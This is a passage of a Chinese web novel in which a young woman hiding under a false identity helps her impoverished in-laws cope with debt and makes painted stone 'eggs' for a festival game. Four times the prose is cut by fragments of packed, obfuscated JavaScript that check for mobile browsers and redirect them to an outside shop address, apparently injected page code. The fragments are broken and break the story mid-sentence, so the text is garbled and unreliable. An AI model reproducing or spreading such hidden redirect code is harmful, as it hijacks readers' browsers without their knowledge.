“你二哥,身子不好?” 蔺春来心中一个咯噔,也有些奇怪。生病了,怎么还被拉去戍边?不是说,兵丁都是身强力壮的吗? “二哥已经好了。那病是之前得的,现在,他大好了。” 冯五月后知后觉自己似乎说错话了,怕被她嫌弃,忙改口:“戍边的人不够,朝廷要拉人,本来我们家是单丁户,按照律法,可以豁免。可朝廷突然改了规定,只要年龄满十二,就把人拉走。我们家拿不出钱代役,二哥就被拉走了。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480769|201722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“娘当时以为,二哥回不来了,哭得肝肠寸断,险些厥过去。后来,迟迟没听到消息,还以为没指望了。哪里想到,三年前,二哥回来了。不仅回来了,人还健壮了,娘这才放了心。” 三年。 蔺春来在心里算,也就是冯长庚戍边的第四年。换算过来,是冯长庚十八岁的时候。 人不动容易生病,越不动,身子越弱,抵抗力越差。冯长庚去戍边,身子反而好了,看来,边关生活确实锤炼人,风吹日晒,年复一年,反而让他因祸得福了。 不过话又说回来,四贯…… 好像不多,可对于目前一贫如洗的冯家和啥也没有的她来说,有点多。 有债头上就有一座大山,之前她猜到了冯家条件不好,却没想到,实际情况比她想的还要不好。如今,她是冯家的一份子,与冯家吃穿住都在一起,彼此之间说一句同甘共苦也不为过。在外人眼里,这债怕是也落到了头上。 怎么办呢? 丧了一会儿气,她自个调整过来了,想到冯家院中情况,又问冯五月:“五月,咱们家之前有菜地吗?” 冯家院子里,并未见菜地的影子。屋后她曾去看过,只有高过人头的杂草。 而屋前,除了西边院墙附近有一颗枇杷树,树下有一张石桌几个石凳,便再无其他东西。 没有菜地,没有鸡鸭,地方空着,有些浪费。 “以前屋后便是菜地,可每次菜还没长出来,就被陈有明拔走了。陈有明糟蹋菜,回回来,都把菜地祸害的没眼看。娘说,眼不见心不烦,反正买菜种也要钱,干脆,不种了。” “鸡鸭也是一样,以前也养过,后来,没那么多糠喂,就也不养了。” 冯五月举一反三,回答了菜地,又主动提起了养鸡鸭往事。 蔺春来心中有数了,又问:“那,这几年,你们都是吃藕节和野菜过活吗?” “也吃别的。” 冯五月想了想,“娘春天给人挖藕,采茶叶和南烛叶。夏天给人收莼菜,摘杨梅,李子。秋天给人剥鸡头米,采橘子。冬天给人挖笋,腌咸肉。每次做完活回来,她都会带些主家不要的东西。有时候,主家人好,也会给点吃的,山上也……” 说到山上,猛地住了嘴。 蔺春来知道她原本想说什么,倒没放在心上,只问:“为何是陈有明来要债,钱是同他借的?” “不是。” 冯五月否认,“陈有明路子广,既是村里人,又姓陈。他知道娘要借钱,主动找上门来。娘不敢得罪他,只能通过他借。嫂嫂,你可不要和他说话。他这个人,丧尽天良,之前为了赌钱,把媳妇卖了,孩子也卖了。要不是他姓陈,那些陈家人看不下去,拉他一把,守山人的活怎么可能落在他头上?” “对了,嫂嫂,你真要回胡家……” 想到那会蔺春来说的回胡家要钱,冯五月迟疑了一下,还是问出来了。 蔺春来没说是,也没说不是。 “再说吧。” 她哪能真的去胡家,胡家又不是她真正的家。要真回去,就穿帮了。刚才那么说,只是为了打发走陈有明。 算算日子,俞大娘一去好多天,也该回来了。还债是大事,每个月雷打不动,所以她应该会在那之前回来。 “你们和陈有明说好哪天还钱?” “每个月二十五。” 冯五月如实回答。 蔺春来暂时松一口气。六天后,是二十三,应该来得及。 8. 清白 这厢蔺春来苦等俞大娘回来,那厢俞大娘做完活,本该像之前一样,早早赶回去。可这一次,惦记着心里的事,她没和大伙一起离开,而是揣着几天工钱,独自摸到了蔺家村。 蔺家村虽比桃源镇离得更近一点,可,也是另一个县的了。倘若走水路,乘船过去,当天就能到。俞大娘舍不得钱,只靠着两条腿,走了近两天才到。 到村子口,她没直接进去,而是假作路过的人,在外头歇脚。 这时节,蔺草已经种下,正值打桩的时候。蔺家村阖村以种植蔺草为生,村子外头,皆是一望无际蔺草田。 村人们从屋里出来,手里拿着木头,竹竿和草绳。到自家田里,将余下东西放下,只留了木头在手上。男人们拎着锤子,在外围打桩,女人们一边打下手,一边三三两两搭着话。 “每年这时候忙一波,到了盛夏收割的时候再忙一波,忙忙碌碌,大半年就过去了。今年,也不知这草长得如何,要是能像去年一样卖上价,我就阿弥陀佛了。” “今年,谁晓得呢,就看老天爷赏不赏饭吃。不赏饭,也没办法,赏饭,咱们自然有甜头吃。管那么多干啥,桩还不是照样得打?该收割的时候,照样得收割。” “是啊,活该干的时候还得干。每回打完桩,回去我这腰都得疼三天。我男人也一样,回回回去叫着腰疼手疼的。” “那你快叫住他,让他别干了。” “说啥呢,他回去,活谁干?草不种了,今年吃风扒屁?又不是蔺老二那等混人,虫儿在眼前吃草,也当看不见。” “蔺老二?哟,你还和蔺老二比呢?人家现在十几亩田,就是啥也不干,也饿不死。” 几位妇人突然说起了蔺老二,俞大娘也不晓得这个人和蔺春来有没有关系,她继续往下听。 便又听到:?“说的也是,这蔺老二,实在命好。先头他兄弟死了,我还和我家里那口子嘀咕呢。春来一个小姑娘,平日里又不爱说话,那十亩田,她能种好?可你看看,老天爷就是爱作弄人,这春来也死了,倒是便宜了蔺老二。” “别提春来,提她,你也不嫌晦气。她一个偷人的,没得连累我们一个村的名声。” 啪嗒! 俞大娘刚拿出来准备吃的糕团掉到了地上。 她僵硬着身子,手忙脚乱低头去捡。 说话的几个妇人听到动静,纷纷转头看过来。待看到是一个生面孔,忍不住多瞧了几眼。 俞大娘大气也不敢出。 那几人看了一会儿,倒也没放在心上,只当是路过此处的大娘,暂时停下来歇脚。 “春来,哎,提起来我就可惜。你说,她真能干出偷人的事?以前蔺老二总从她屋里拿东西,也没见她大声武气说个不字,蔺宝来对她吆五喝六的,也没见她红过脸。我实在不敢相信,胆子这么小的姑娘,偷人了?” “你又不是他们家的人,哪里知道,他们私下里是什么样?这人啊,可不可貌相。再说了,偷人是事实,又不是谁冤枉她。村正亲自带人抓的人,那奸夫,不是也承认了吗?以前,是我们小看了这丫头。” “算了算了,说这些没意思。人已经沉了塘,就不说了。” 话至此处,妇人们就此打住,俞大娘心绪难平,她拿着糕团的手一直在抖。刚才装模作样咬下去的那口糕团顶在心口,她几乎快要一口气喘不过来。 天杀的蔺春来! 她怎么就……就是偷人被沉塘了才死的?偷人啊,那她……她不清白了! 一想到不清白,俞大娘瞬间悲从中来,也不知是愤怒还是后悔,她只想趴在地上,放声大哭一场。 摇摇晃晃起了身,攥紧手中没吃完的糕团,她深一脚浅一脚往回去走。一边走,一边回忆那日在山上,蔺春来同她说过的话。 蔺春来说,她是蔺家村人。 没有错,刚才村里人说的,是春来。蔺家村的人都姓蔺,她们说的,只能是蔺春来。 一个村,怎么可能有两个春来。 是她。 这个黑心肝的,满嘴谎话,张口就来。自己被坑了,坑的好惨! 俞大娘咬牙切齿,心中的愤怒无以言说。事已至此,她只想赶紧回去,好与那撒谎精分辨个清清楚楚,明明白白! * 蔺春来还不知道,俞大娘背着她去了蔺家村打探,她一为还钱的事发愁,二为,吃什么发愁。 还钱的事,没别的办法,只能等,等俞大娘回来。 至于吃,那天捡回来的地耳和荠菜,文文头洗干净,加水煮成汤,勉勉强强,能糊弄几顿。槐花虽然是捡来作为遮掩的,洗干净,放在锅里蒸一着鞥,也能当顿饭吃。 一顿一顿,就这么挨到了二十二。 眼见着明天就二十三了,俞大娘依然还没回来。 冯五月已经没主意了,她心里想什么,脸上就表现出来了。无头苍蝇一样在院子里来回打转,转着转着,倒把自己转晕了。 蔺春来也被她转的眼晕,可事已至此,着急又能怎么办?她拿着铲子,蹲在薄荷丛边看薄荷。 薄荷是那次找野菜时顺手薅回来的,薅来的当天,她就种下了。 院子里如今有了枇杷树,还有薄荷,不过只有这两样,还是太简单。倘若之后有机会,她打算在院子里重新开一块地,作为菜地。 出去找野菜和等俞大娘拿菜回来,实在不是长久之计。自己种菜,自给自足,这心里头,才有底。 “长庚媳妇,长庚媳妇。” 冷不丁的,陈有明的声音在外头响起。 姑嫂两个皆是一惊,随后面面相觑。 冯五月也顾不上转悠了,深吸一口气,对着外头颤声回了一句:“明天才是第六天。” “你嫂嫂都从胡家回来了,今天来,明天来,有啥区别?快点,赶紧把钱还了,再不还,我踹门了!” 陈有明没什么耐心,他像是压根不在乎约定的到底是哪天,想来,就来了。言语之间,更是认定了蔺春来已经从桃源镇回来了。 蔺春来更不敢吱声,她仔细回忆,这几天,谨慎起见,她压根没出门。平日里,因为不是爱唠叨的性子,她也极少说话。 陈有明一年四季几乎不着家,所以,他不可能知道自己一直在家。 既然不知,那么,极有可能,是胡说的。 意识到这点,心里就没那么慌了,她看向冯五月,心里有了应对之策。可,究竟要不要这么做,她又有些犹豫。 陈有明拿不准自己有没有回来,自己只要不出声,躲起来,他便没辙。到时候,冯五月就说,自己就这两天回来。相信陈有明知道后,心里就算不痛快也只能先回去。 但这样一来,就得留冯五月一个人应付外头了。 “嫂嫂,你去吧。” 冯五月从她看向屋后的动作,猜到了她想做什么,没犹豫,她对着她小心用口型示意,又对着外头,惶恐道:“我嫂嫂还没回来。” “还没回来?” 陈有明有些失望,可人却依然不肯走,“刚才那声音不是你嫂嫂的?” “不是, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480770|201722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是我在种薄荷。” …… 蔺家村村外的小路上,俞大娘正满心凄苦归来。下工时省下来的最后一块糕团,在去蔺家村的路上吃了一半,回来路上,又吃了一半。 来回几天的路上,只吃了糕团喝了水,本来肚子里应该饿极的,可心里的恼怒和后悔堵着出不来,一时间竟也不觉得饿了。 她面目憔悴,原本有十二万分的怒火,只等着回去后把蔺春来大骂一顿,再扫地出门。 可冷静下来,细想,方觉要不得。 乡邻已经派了,石公村人人都知道,冯家的新媳妇进门了。新媳妇长啥样,大家也都见着了。若现在把蔺春来赶走,村里人人都会知道。尤其隔壁王淑云那个碎嘴的,到时候,还指不定怎么编排呢。 冯家可丢不起这个人,她也不能给长庚丢人。 可,若就此作罢,心里就跟吃了一只苍蝇一样难受。 回去后,一定要把蔺春来好好说一顿。当新媳妇的,侍奉公婆,天经地义。以前没搓磨她,这次,可得好好把心里的气出了再说。 至于之后…… 想到之后,俞大娘心中迷茫。把人搓磨了,恶气出了,之后呢? 日子还是得过,长庚早晚要回来,冯家也必须有后。 唉! 她给了自己一个嘴巴子。老了老了,脑子糊涂了,竟做出这等荒唐事。 “巧儿婶!” 路旁有人小声喊。 俞大娘思绪一顿,眯着眼睛往旁边找,她在一旁一条不起眼的小路上找到了韩玉果。韩玉果手里拿着篮子,篮子里装着零星几株野菜。 想是出来挖野菜看到她,所以张嘴招呼了她。 “银花她娘,你咋跑这里挖野菜?这里,没啥野菜,早被她们那伙子人挖光了。” “婶子,你快回去吧,陈有明来了,人就在你家门前杵着呢。” 韩玉果出门时看到陈有明上了冯家的门,这会看到俞大娘,赶紧把情况说了。 俞大娘哪里还顾得上聊天,她也来不及道谢,三两步并作一步,往自家门前赶。 到门口,陈有明果然已经准备踹门了。 “有明!” “哟,长庚她娘,你回来了?别是,亲自去儿媳妇家拿钱了吧?” 陈有明伸出去的脚慢慢收了回来,他换上一张笑脸,还有心情开了句玩笑。 俞大娘直想啐她一口,她一个当婆婆的,去儿媳妇家要钱,像什么话?冯家的债,可轮不到胡家人来还。 “我哪里走得了那么远的路。知道你等得急,这不,这几天没日没夜做活。工钱一发到手,就赶紧回来给你还了。” “这还像话。” 陈有明闻言,脸上笑容更甚,他手往前一伸,做出要钱的架势来。 俞大娘手伸进衣裳夹层,摸到腰间暗袋,从中掏出一个手帕来。将手帕一层层打开,把里头的钱尽数倒了出来。 “一共一百五十文。” “才一百五十文啊。” 陈有明面上笑容转淡,话语间有些说不出的嫌弃。不过聊胜于无,他一把将那些钱握住,揣进自己兜里,又撂下一句“还欠着账呢”,扬长而去。 俞大娘看着他的背影,没急着进去。 她转过身子,朝着徐家方向,好似故意说给徐家人听一样,高声道:“我冯家人借的钱,自己借,自己还。不用问别人张口,早晚有一天,都能还清!” 再将身子转回来,却是对着已经打开门站在门边的冯五月:“你嫂嫂呢?” 9. 迁怒 “嫂嫂在。” 冯五月话还没说完,俞大娘就已经气呼呼一脚迈了进去。 四目相对。 “你怎么当嫂嫂的?” 俞大娘劈头盖脸便是一句质问,不等蔺春来回答,又斥:“五月还不经事,你把她推到前头,自己却躲在后头,像话吗?” “娘。” 冯五月急忙想劝阻。 俞大娘一把将她拉着自己胳膊的手按下去,往前走了两步,顾不得放下背上勾篮,张口又是:“当嫂嫂就要有个当嫂嫂的样。我不在,你就好好守着家,守着你妹妹。可你倒好,事来了,你不说想办法,却第一个跑,真是丢人现眼!” 说到“丢人现眼”,刚刚被压下去的那桩心事又浮了上来。更难听的话已经到嘴边,几乎快要呼之欲出。 可,惦记着隔壁徐家人定然正支着耳朵,等着看热闹,这才咽了回去。 “你跟我进来。” “嫂嫂。” 冯五月悄悄指了指自个屋里。 蔺春来对她笑了笑,顾不得和她多说,跟着进了屋里。 屋子里,俞大娘已经在床沿边坐着了。她背上还背着勾篮,像是有心事,脸沉得实在厉害。 “陈有明来要账,我们家欠了债,你也知道了。既然嫁过来了,便是一家人,家里的事,本来也不该瞒你。” 蔺春来没应声,只是轻点了一下头。 俞大娘看她这张脸就来气,可,点头又没什么错,她也没法说什么,便尽量忍着气,道:“当年长庚戍边前,重病在身。我为了给他治病,陆陆续续从延福寺借了一贯功德钱。这些年,利滚利,一贯滚成了好多贯。本来家里头还有五亩地,可那几年收成不好,为了还钱,地后来也没留住。平日里,我在外头做活,几年下来,零零散散也还了些钱。” “如今还欠陈有明四贯并两百三十五文。这钱呢,是你来冯家之前欠的,我不会赖在你头上,也没指望你还。但家里是这般光景,一家人怎么都甩不开去。你是冯家的媳妇,一家人吃糠咽菜,也是没办法的事。” “之后我还是会带吃的回来,你和五月俭省着用。再苦几年,忍一忍,等长庚回来,家里有了男丁,就好了。” “陈有明是个贪赌好吃懒做的,他来,无非是听说了我在村里派乡邻的事。来了这一遭,知道家里确实没钱,下次不会没到日子就来了。你是五月的嫂嫂,也是冯家的媳妇,要顶事。” …… “语重心长”说了许多,俞大娘看着蔺春来,心情实在复杂。等蔺春来走了,她还是坐在床沿上出神。 冯五月进来,问:“娘,你怎么不把勾篮放下来?” 她这才想起来,勾篮还在背上背着。 便赶紧垮下来,放在地上。 “娘。” 冯五月察觉到她有心事,还当是因为刚才对蔺春来不满,便挨着她坐在床沿边,小声问:“娘刚才怎么那般说嫂嫂?” “你哪里晓得呢。” 俞大娘轻叹一口气。 先头在蔺家村时村人们的对话回荡在耳边,心中激荡,满肚子郁闷无处发泄。她有一下没一下地抚摸着冯五月的头,目光却落在窗外。 窗外依稀能看到蔺春来的影子。 “其实嫂嫂并没有躲在后头。是陈有明,先前来过一回。嫂嫂为了将他打发走,哄他说要回桃源镇拿钱。他信了,才走了。这回没到说好的时间,嫂嫂想着,见不到她,陈有明自然会走,所以才躲起来的。” “娘,你不在的这些日子,嫂嫂和我一道守着家。之前你拿回来的吃的没有了,家里揭不开锅,也是嫂嫂带着我,去外头找了吃的。” “你们找了吃的?” 俞大娘抚摸她头发的动作一顿,视线收回,问:“她带你找了什么?” “地耳,文文头,荠菜,槐花。哦,对了,还有薄荷。娘,嫂嫂挖了几株野薄荷,种在院子里。” “种那玩意有什么用?” 俞大娘摇头,脸色倒比刚才好看了许多。 没吃的了,不是干等着,还知道出去找吃的,倒不是个死脑筋。 只是…… 一想到只是后面的内容,俞大娘就觉得心绞着疼。事已至此,能怎么办呢?罢了罢了。 她又再度看向窗外。 窗外已经不见了蔺春来的身影。 “罢了。” “娘?” 冯五月抬起头,“什么罢了?” “没什么。” 俞大娘拍拍袖子起了身,“再看看吧。” …… 蔺春来被俞大娘“教训”了一通,面上不好表现出什么。回到自个屋里,她先倒了一碗水喝了,方坐在床沿上细细思量刚才的话。 欠债不可怕,有手有脚,勤快一点,总能还清。 可,可怕的是,冯家欠的债不是普通的债。所谓功德钱,不就是后世的高利贷吗?利滚利,几年下来,本金是还清了,可利息越来越多。 俞大娘这次去外头做了数十天的活,才赚回来一百五十文。这一百五十文里,还不知包不包括之前卖野菜的钱。照这个速度,要想还清债务,得到猴年马月去。 自己一时半会无法脱身,债务一日不还清,就一日得吃糠咽菜。甚至很有可能像前几日一样,突然就没饭吃。 得找找其他路子。 思索了一圈,心里大概有了主意。她对整个石公村尚且说不上十分了解,更不要说对镇上,县里了。再多的想法,此时也只能暂时先按下。 或许,她可以和俞大娘一道,先去外头做些零碎活。 便去找了俞大娘。 结果俞大娘一听她想去外头做活,便变了脸色。 “不成。” 俞大娘一口拒绝,“本来五月一个人在家,我就有些不放心。你要是也去做活了,她一个人怎么办?再说了,你初来乍到,进门还没多久,我就让你去做活,传出去,没得让人以为我苛待新媳妇。” 还有,“我做活的地方人多嘴杂,不单有我们村的,还有隔壁村的。有时候,其他镇的人也来。你不熟悉情况,心是好的,我明白。” 万一蔺家村的人也去做活,遇到了,岂不是要出大事? 谨慎起见,俞大娘不愿松口。 当然,她还有其他私心,但此时并不好点破。 蔺春来也没争辩。 从那句“其他镇的人也来”,她就知道了,自己想出去做活,没门。人多眼杂,万一她被人认出来,麻烦就大了。 毕竟现在明面上,自己是个死人。 * 立夏将至,外头活多起来,俞大娘没呆上几日,便又出了门。 她一走,冯五月松快了不少,就连蔺春来也跟着少了几分拘谨。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480771|201722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 姑嫂二人不用出去找吃的,蔺春来将俞大娘带回来的毛笋剥壳,再用刀切成一片一片的笋片。笋片晒干前得先在锅里煮一遭,之后再晒上几个日头,就好了。 冯五月蹑手蹑脚摸到屋后,抱了一把柴火来。 “二哥上次回来时,砍了好些柴,当时娘还说,太多了,那些柴少说也要烧五六年。后来娘卖了一部分柴,留了一部分自己用。还好屋后的草长得高,陈有明没发现。诶,对了,嫂嫂,那天你发现这些柴了吗?” “发现了。” 蔺春来回想那天,她为了躲陈有明,藏在了屋后草丛里。结果发现,草丛里竟然藏着好多柴。 柴能卖钱。当时她就猜到了,这些柴,是专门藏在屋后的。 “二哥说,下次回来再砍一些,也不知道下次是什么时候呢。” 提到柴,少不得提到冯长庚,又少不得提到下次回来,冯五月面上有些沮丧。没等蔺春来回应,哎哟一声,想到还靠在门上晾晒的笸箩,急忙起身,去门口拿。 “五月五月,你们家的债,是不是还不清了?” 徐成正在门口捡侧柏子,他还不知道,什么叫做债,只是那天听王淑云嘀咕了一句,说什么冯家的债要还到下辈子去了,便记下了。 “我娘说,你们家要还到下辈子去了。你说下辈子,我还住你们家旁边吗?” “谁稀罕!” 冯五月早在听到那句还不清了就冷了脸,她斥徐成一句,一把拿起笸箩,便要往屋里去。 徐成从背后扔来一颗侧柏子。 “五月五月,打死五月!” 更多的侧柏子从背后袭来。 蔺春来和徐梅丫同时出了屋子。 徐梅丫一巴掌拍上去,把徐成手中的侧柏子打落,又拧着人耳朵,往屋里拽,“徐成你给我进去!小小年纪,手怎么这么贱,嘴巴也这么贱?” “坏梅丫,你敢骂我?我要去娘跟前告状,我让娘打你!” “还敢告状?!” 徐梅丫瞪圆了眼睛,小小年纪,竟吓住了徐成。徐成到嘴的嚷嚷顿住,改成大哭,“我要我娘,我要找阿婆。坏梅丫,你把我放开!” “阿婆和二婶可不在,你想哭,随便你。” 徐梅丫又一个眼风扫过来,这下,徐成连哭也不敢哭了。 “冯家嫂嫂,五月,对不住啊。” 徐梅丫不好意思对着蔺春来和冯五月笑笑。 冯五月道:“梅丫姐姐又没有错。” “我毕竟是他姐姐。” 徐梅丫看着徐成,有些郁闷。 等回了冯家院子里,冯五月也郁闷道:“梅丫姐姐又不是徐成的亲姐姐。” “一笔写不出两个徐字,徐家没分家,他们毕竟是一家人。” 蔺春来目光从徐家缓缓关上的门上收回,她倒也没说错。徐家没分家,徐梅丫虽然是大房的,也是徐家难得明事理的,可小姑娘毕竟姓徐,和堂弟徐成,是打断骨头连着筋的一家人。 “五月,刚才他有打着你吗?” “没有,嫂嫂,我都躲开了。” 冯五月捡起地上的侧柏子,气呼呼便想扔回徐家院里。 蔺春来连忙出声:“先别扔。” “嫂嫂?” “留着有用。” 蔺春来看着那几颗侧柏子,心中突然萌生一个念头。 10. 报仇 “五月,想不想报仇?” “报仇?” 冯五月眼睛都亮了。可下一瞬,眉眼又耷拉下去,“算了。” 俞大娘走之前交代过了,不能惹是生非。徐成虽然讨厌,可刚才,徐梅丫已经帮着教训过了。自家家里没大人,蔺春来是新媳妇,徐家人又多,倘若真对上了,惹出事来,还是自家吃亏。 “咱们不打他,只是和他斗一回蛋。” 蔺春来一见她眼底亮色陡然沉寂了下去,便知,她在想什么。心说,当大人的可不好动手打孩子,哪怕孩子再熊,大人一插手,动了手,就不占理了。 “咱们赢他一场,让他哭着回去找他娘。” “可我们没有蛋。” 冯五月听到哭着回去几个字,心中就有些意动。可转念想到,自家压根没有蛋,又把那股涌动的心思按了下去。 立夏斗蛋,是高安风俗,这风俗已经持续了数百年。小时候,她还与人斗过蛋,只是后来,家里没钱了,也不养鸡啊鸭啊的了,她便再没与人斗过蛋。 这次,也还是和之前一样,算了吧。就当,不知道这个风俗。 “没有蛋,那就下一个。” 蔺春来不肯放弃,话说的,倒好像说下马上就能下一个蛋一样。 冯五月听得糊涂,没等张嘴问,又听到她说:“咱们现在就去下一个。” 说着下,蔺春来立刻就要出门。 冯五月见她兴致勃勃,就好像要去发现什么了不得的秘密一样,心中好奇也被勾起来了,她没犹豫,跟着一道出了门。 两个人没去别处,而是去了上次挖野菜的地方。 找到之前那条小溪,蔺春来顺着溪水往下走,一边走,一边弯着腰挑挑拣拣。找到两颗鸡蛋大小的石头,她没就此停手,而是顺着河床,继续往下走。 又走了一段路,她停下,然后蹲下身子,拨开了一片草丛。 草丛后面有几块赭石。 赭石附近,还有一块孔雀石。 这可是个好东西,蔺春来心中激动。本来她只是来找赭石的,印象中,上次来采野菜时,在这里看到了赭石。倒是没想到,还能发现孔雀石。 真是老天爷赏脸,照顾她了。 找完所有的石头,她示意冯五月把篮子拿过来。见冯五月一脸疑惑,似有话要问,倒也没急着先解惑,而是,转过身,又在周围找寻起来。 这次找到了一根不知是什么动物的骨头。 “嫂嫂,咱们为啥要捡骨头?” 冯五月心里惴惴的,生怕捡那骨头是为了拿回去煲汤。刚才的石头,虽然她也没看明白,捡来是干啥,可,石头好歹有个蛋模样,和蛋,有些关系。 骨头和蛋可半点扯不上关系,回想上次来这里是来找野菜的,她生怕,那骨头拿回去,也是为了吃的。 “一会你就知道了。” 蔺春来不知道,她的想象力已经跑到天边了,不想现在回答,她故意卖了个关子。 若不是条件有限,其实,她也不想捡眼前的骨头。但,没办法,没东西用,这根骨头,将就将就,也能用。 眼前的骨头,虽然已经被风干了,可好在还没腐烂。她还能看到骨头里头已经成了粉末的骨髓。这种骨头虽然不新鲜,但对于熬胶来说,够用了。 该找的基本都找全了,来都来了,不找点能吃的,实在亏的慌。 蔺春来打定主意再找些野菜,她手脚没停,不过这次,没挖到几株。到最后,实在找不到了,也只能放弃。 两个人一道往回去走,没多久,就到了冯家门外。进了院子,蔺春来先把石头捡出来,又拿着刚才捡骨头的两根树枝,把骨头夹了出来。 去放杂物的屋子里翻腾出一个烂了半个口的罐子,又去屋后头,翻了几根柴。 她拿柴支起了一个火堆。 将骨头冲洗过后,扔进罐子里,再把罐子放在火堆上,点燃火,她交代冯五月帮忙看着,自个去处理石头了。 回来之前,她已经拿大石头将那些赭石和孔雀石捣成了小碎块。但这些,还不够,她还需要把碎块捣得更细。 这是一个精细活,不麻烦,但,考验人的耐心。 索性这种事都是做惯了的,她搬出石臼来,把赭石小碎块放了进去,两只手抓着石杵,一下一下地碾磨着。 碾碎成粉末的矿石,本该过筛后加水去除杂质,但眼下,顾不得这些了。条件有限,她直接加水,再次碾磨。 等石杵下没有颗粒感了,她停下手中动作。 略等了一会儿,石臼里溶液沉淀的差不多了,她把表层溶液倒出来,又拿着装溶液的碗去院墙边上晾晒。 接下来,如法炮制,她把孔雀石溶液也做好了。 两样东西都放在院墙底下晾晒,她这才顾得上熬骨胶。骨胶还算好熬,幸运的是,一次就成了。 “五月,咱们家有没有笔?” 万事俱备,还差一样东西——笔。 但话一问出口,蔺春来就估摸着,可能白问了。 果然,冯五月摇头,说没有。 没有笔,碎布头也能当刷子用,倘若没有碎布头,鸡毛鸭毛勉强也能用。鸡毛鸭毛还没用,草茎捣碎,也成。 “嫂嫂,鸡毛能用吗?” 冯五月举一反三,虽然不知道要笔干啥,但想着,笔能写写画画,鸡毛也能写写画画,便张嘴问了一句。 这正合蔺春来心意。 蔺春来求之不得,“能的。” 冯五月便放了心,起身跑到自个屋子里,再出来,手里抓了一把鸡毛。 大约是觉得那鸡毛的来源有点不正当,她不好意思笑了笑,说:“是徐家的鸡掉的,我本来想做一个毽子,可他们家的鸡就是不掉毛。攒了这么久,才攒了这些,嫂嫂,够吗?” 够是够,不过,听到这鸡毛本来是用来做毽子的,蔺春来突然有些不好意思拿了。 冯五月把东西往她怀里一塞,说:“嫂嫂,鸡毛没了还能再捡,你先用吧。说好了,要赢了徐成,让他哭着回去找他娘。” “成,咱们就让他哭着回去找他娘。” 蔺春来也不客气了,在心里记了一笔人情账,拿着那鸡毛,用草茎一扎,扎成了鸡毛刷。 扎完刷子,用晒干的赭石颜料和孔雀石颜料兑骨胶。 再之后,鸡毛蘸取颜料,刷到石头上。 冯五月看的眼睛眨也不敢眨。 她总算明白了,这些东西都是用来干什么的。她眼珠子随着蔺春来的动作上上下下,接下来,就看到蔺春来是如何摘了枇杷树上的树叶,把树叶挖了洞,覆在石头上涂抹出不一样的图案,之后又是如 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17480772|201722||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 何从水缸接缝处挖了苔藓,蘸了颜料,拍打在石头上形成纹路的。 “再等一晚上,颜色牢靠了,就成了。” 蔺春来大气都没敢出,等最后一点颜料抹上去,她长出一口气。等洗干净手上颜料,她琢磨着,剩下的颜料是不是能拿来做个工艺品什么的。 第二天。 颜料历经一晚上,已经彻底干透。冯五月着急去看成果,早上起来,没顾上洗漱,就去石头旁边看了。 两颗石,哦不,现在得叫两颗蛋了。两颗蛋几乎能达到以假乱真的程度,一颗蛋是赭色的,上面缀着绿色的小圆点。另一颗则是绿色的,上面印着苔藓的纹路。 “好漂亮!” 蛋太美,冯五月有些舍不得拿出去与人斗了。 蔺春来欣赏了一番自己的“作品”,放低声音:“五月,你只管与他斗,等……” …… 立夏说来就来了。 中途,俞大娘回来了一次,带了一把碎米,一把蚕豆,和一些明显没了水分的脚骨笋。 正日子当天,蔺春来起来后,先抓了一小把碎米淘洗干净,又剥了几颗蚕豆,一起丢进锅里,加水煮成了粥。 粥煮完放着等晾凉的功夫,冯五月从门缝里看到,徐成在门外玩耍。 她与蔺春来交换了一个眼神,偷笑了一下,直起身子,作战一样,雄赳赳气昂昂往门口去了。开门前,不忘从门后头拿了一把扫帚。 门打开,她作势在外头洒扫。 “五月,你闻到我家的香味了吗?我娘在煮乌米饭。” 徐成见她出来,果然没忍住和她搭话。 “没有。” 冯五月背过身。 “除了乌米饭,今天还有蚕豆和鲥鱼。我娘说了,我能吃好大一口鱼肉,梅丫她们都不行。我还有蛋,梅丫她们也没有。” 徐成才不管她,自顾自只是一个劲儿叭叭叭的嘴上说个不停。 说完一长串,见她还是没反应,便着急丢过来一颗侧柏子,“我知道,你和梅丫她们一样,没有蛋。今早我和虎子斗蛋,他的蛋一碰就。” “谁说我没蛋?” 冯五月转过了身。 